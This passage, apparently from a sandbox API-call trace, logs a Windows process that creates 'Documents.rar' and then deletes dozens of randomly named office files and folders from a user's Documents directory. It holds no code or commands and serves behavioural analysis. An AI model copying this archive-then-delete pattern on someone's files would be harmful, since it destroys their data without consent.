returned 1 [0088.046] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.046] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="rDvRexnp0.xls") returned 13 [0088.046] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.047] GetTickCount () returned 0x2bc8f [0088.047] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17937530601) returned 1 [0088.047] GetTickCount () returned 0x2bc8f [0088.047] GetTickCount () returned 0x2bc8f [0088.047] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.047] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\_fBJ yDh9e.ods" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\_fbj ydh9e.ods")) returned 1 [0088.048] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.048] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.048] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.048] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.049] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.049] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.049] SetWindowTextW (hWnd=0x10300, lpString="_fBJ yDh9e.ods") returned 1 [0088.049] GetTickCount () returned 0x2bc8f [0088.049] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.049] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.049] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.050] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.050] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="_fBJ yDh9e.ods") returned 14 [0088.050] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.050] GetTickCount () returned 0x2bc8f [0088.050] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17937862308) returned 1 [0088.050] GetTickCount () returned 0x2bc8f [0088.050] GetTickCount () returned 0x2bc8f [0088.050] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.050] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\ww2bCvn.csv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\ww2bcvn.csv")) returned 1 [0088.051] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.051] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.051] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.051] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.052] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.052] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.052] SetWindowTextW (hWnd=0x10300, lpString="ww2bCvn.csv") returned 1 [0088.052] GetTickCount () returned 0x2bc8f [0088.052] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.052] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.052] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.052] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.052] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="ww2bCvn.csv") returned 11 [0088.052] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.053] GetTickCount () returned 0x2bc8f [0088.053] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17938145710) returned 1 [0088.053] GetTickCount () returned 0x2bc8f [0088.053] GetTickCount () returned 0x2bc8f [0088.053] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.053] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\mbQ0b7o.ots" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\mbq0b7o.ots")) returned 1 [0088.057] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.057] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.057] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.057] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.057] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.057] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.057] SetWindowTextW (hWnd=0x10300, lpString="mbQ0b7o.ots") returned 1 [0088.058] GetTickCount () returned 0x2bc9f [0088.058] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.058] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.058] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.058] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.058] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="mbQ0b7o.ots") returned 11 [0088.058] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.058] GetTickCount () returned 0x2bc9f [0088.058] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17938704546) returned 1 [0088.058] GetTickCount () returned 0x2bc9f [0088.058] GetTickCount () returned 0x2bc9f [0088.059] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0088.059] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0088.059] GetFocus () returned 0x1031c [0088.059] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.059] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\KzP2.csv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\kzp2.csv")) returned 1 [0088.060] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.060] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.060] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.060] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.060] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.060] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.060] SetWindowTextW (hWnd=0x10300, lpString="KzP2.csv") returned 1 [0088.061] GetTickCount () returned 0x2bc9f [0088.061] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.061] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.061] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.061] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.061] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="KzP2.csv") returned 8 [0088.061] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.061] GetTickCount () returned 0x2bc9f [0088.061] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17939001190) returned 1 [0088.061] GetTickCount () returned 0x2bc9f [0088.061] GetTickCount () returned 0x2bc9f [0088.061] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.062] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\Kin6ms4WyJhH.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\kin6ms4wyjhh.xlsx")) returned 1 [0088.063] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.063] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.063] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.063] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.063] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.063] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.063] SetWindowTextW (hWnd=0x10300, lpString="Kin6ms4WyJhH.xlsx") returned 1 [0088.064] GetTickCount () returned 0x2bc9f [0088.064] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.064] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.064] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.064] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.064] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Kin6ms4WyJhH.xlsx") returned 17 [0088.064] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.064] GetTickCount () returned 0x2bc9f [0088.064] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17939301425) returned 1 [0088.064] GetTickCount () returned 0x2bc9f [0088.064] GetTickCount () returned 0x2bc9f [0088.064] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.064] PeekMessageW (in: lpMsg=0x141a0dd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7f0) returned 0 [0088.065] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0088.065] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\1q4uHOxj.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\1q4uhoxj.odt")) returned 1 [0088.073] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.073] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.073] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.073] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.074] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.074] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.074] SetWindowTextW (hWnd=0x10300, lpString="1q4uHOxj.odt") returned 1 [0088.074] GetTickCount () returned 0x2bcaf [0088.074] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.074] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.074] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.075] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.075] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="1q4uHOxj.odt") returned 12 [0088.075] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.075] GetTickCount () returned 0x2bcaf [0088.075] GetLastError () returned 0x0 [0088.075] SetLastError (dwErrCode=0x0) [0088.075] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0088.075] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0088.075] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 59%") returned 5 [0088.075] SetWindowTextW (hWnd=0x10302, lpString=" 78%") returned 1 [0088.076] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x4e, lParam=0x0) returned 0x3b [0088.076] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17940437139) returned 1 [0088.076] GetTickCount () returned 0x2bcaf [0088.076] GetTickCount () returned 0x2bcaf [0088.076] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0088.076] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0088.076] GetFocus () returned 0x1031c [0088.076] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.077] RemoveDirectoryW (lpPathName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs")) returned 1 [0088.080] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.081] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.081] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.081] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.081] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.081] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.081] SetWindowTextW (hWnd=0x10300, lpString="Q9 7uahS") returned 1 [0088.082] GetTickCount () returned 0x2bcaf [0088.082] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.082] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.082] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.082] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.082] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Q9 7uahS") returned 8 [0088.082] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.084] GetTickCount () returned 0x2bcaf [0088.084] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17941239470) returned 1 [0088.084] GetTickCount () returned 0x2bcaf [0088.084] GetTickCount () returned 0x2bcaf [0088.084] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0088.084] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0088.084] GetFocus () returned 0x1031c [0088.084] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.084] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\cA7tY- cuM.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\ca7ty- cum.pptx")) returned 1 [0088.087] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.087] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.087] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.087] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.087] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.087] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.087] SetWindowTextW (hWnd=0x10300, lpString="cA7tY- cuM.pptx") returned 1 [0088.088] GetTickCount () returned 0x2bcbe [0088.088] UpdateWindow (hWnd=0x102f8) returned 1 [0088.088] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.088] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.088] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.088] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.088] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="cA7tY- cuM.pptx") returned 15 [0088.088] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.089] GetTickCount () returned 0x2bcbe [0088.089] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17941726917) returned 1 [0088.089] GetTickCount () returned 0x2bcbe [0088.089] GetTickCount () returned 0x2bcbe [0088.089] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.089] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\BTQU2WOZsFUjw.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\btqu2wozsfujw.pdf")) returned 1 [0088.090] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.090] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.090] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.090] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.090] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.090] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.091] SetWindowTextW (hWnd=0x10300, lpString="BTQU2WOZsFUjw.pdf") returned 1 [0088.091] GetTickCount () returned 0x2bcbe [0088.091] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.091] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.091] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.091] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.091] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="BTQU2WOZsFUjw.pdf") returned 17 [0088.091] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.092] GetTickCount () returned 0x2bcbe [0088.092] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17942030174) returned 1 [0088.092] GetTickCount () returned 0x2bcbe [0088.092] GetTickCount () returned 0x2bcbe [0088.092] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.092] RemoveDirectoryW (lpPathName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s")) returned 1 [0088.098] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.098] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.098] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.098] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.099] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.099] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.099] SetWindowTextW (hWnd=0x10300, lpString="5HLd-s") returned 1 [0088.099] GetTickCount () returned 0x2bcbe [0088.099] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.099] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.099] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.103] SetLastError (dwErrCode=0x0) [0088.103] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0088.105] SetLastError (dwErrCode=0x0) [0088.105] SetLastError (dwErrCode=0x0) [0088.105] GetFocus () returned 0x1031c [0088.105] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.106] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\3jMLs-qdS.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\3jmls-qds.docx")) returned 1 [0088.107] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.108] GetFocus () returned 0x1031c [0088.108] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.109] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\35mJ-.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\35mj-.pdf")) returned 1 [0088.110] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.111] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\-mjM.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\-mjm.xlsx")) returned 1 [0088.114] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.115] RemoveDirectoryW (lpPathName="9EMbKuPh551l7_WJZv\\qfqeMqDF" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf")) returned 1 [0088.118] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.119] GetFocus () returned 0x1031c [0088.119] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.119] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\l7td5trgfxzow kf6h0.docx")) returned 1 [0088.128] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.129] GetFocus () returned 0x1031c [0088.129] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.129] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\-4NjCVEIvkCBj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\-4njcveivkcbj.docx")) returned 1 [0088.136] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.137] RemoveDirectoryW (lpPathName="9EMbKuPh551l7_WJZv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv")) returned 1 [0088.146] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.147] DeleteFileW (lpFileName="8CFpoZ DqeCI.doc" (normalized: "c:\\users\\fd1hvy\\documents\\8cfpoz dqeci.doc")) returned 1 [0088.155] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.156] DeleteFileW (lpFileName="7I1yC6W53.doc" (normalized: "c:\\users\\fd1hvy\\documents\\7i1yc6w53.doc")) returned 1 [0088.158] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.159] DeleteFileW (lpFileName="5YJHRW-JZoT5E S09D.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\5yjhrw-jzot5e s09d.pptx")) returned 1 [0088.195] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.196] SetLastError (dwErrCode=0x0) [0088.196] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0088.197] GetFocus () returned 0x1031c [0088.197] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.197] DeleteFileW (lpFileName="5okJ0wdSjHps.docx" (normalized: "c:\\users\\fd1hvy\\documents\\5okj0wdsjhps.docx")) returned 1 [0088.198] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.199] GetFocus () returned 0x1031c [0088.199] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.199] PeekMessageW (in: lpMsg=0x141a0dd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7f0) returned 0 [0088.199] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0088.199] DeleteFileW (lpFileName="-3PSVPdo1rq8.docx" (normalized: "c:\\users\\fd1hvy\\documents\\-3psvpdo1rq8.docx")) returned 1 [0088.200] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.216] SHChangeNotify (wEventId=4096, uFlags=0x3005, dwItem1=0x141a0f93a0, dwItem2=0x0) [0088.222] DestroyWindow (hWnd=0x102f8) returned 1 [0088.231] DragAcceptFiles (hWnd=0x1023e, fAccept=1) [0088.231] NtdllDefWindowProc_W () returned 0x0 [0088.231] NtdllDefWindowProc_W () returned 0x0 [0088.231] NtdllDefWindowProc_W () returned 0x1 [0088.232] CoCreateInstance 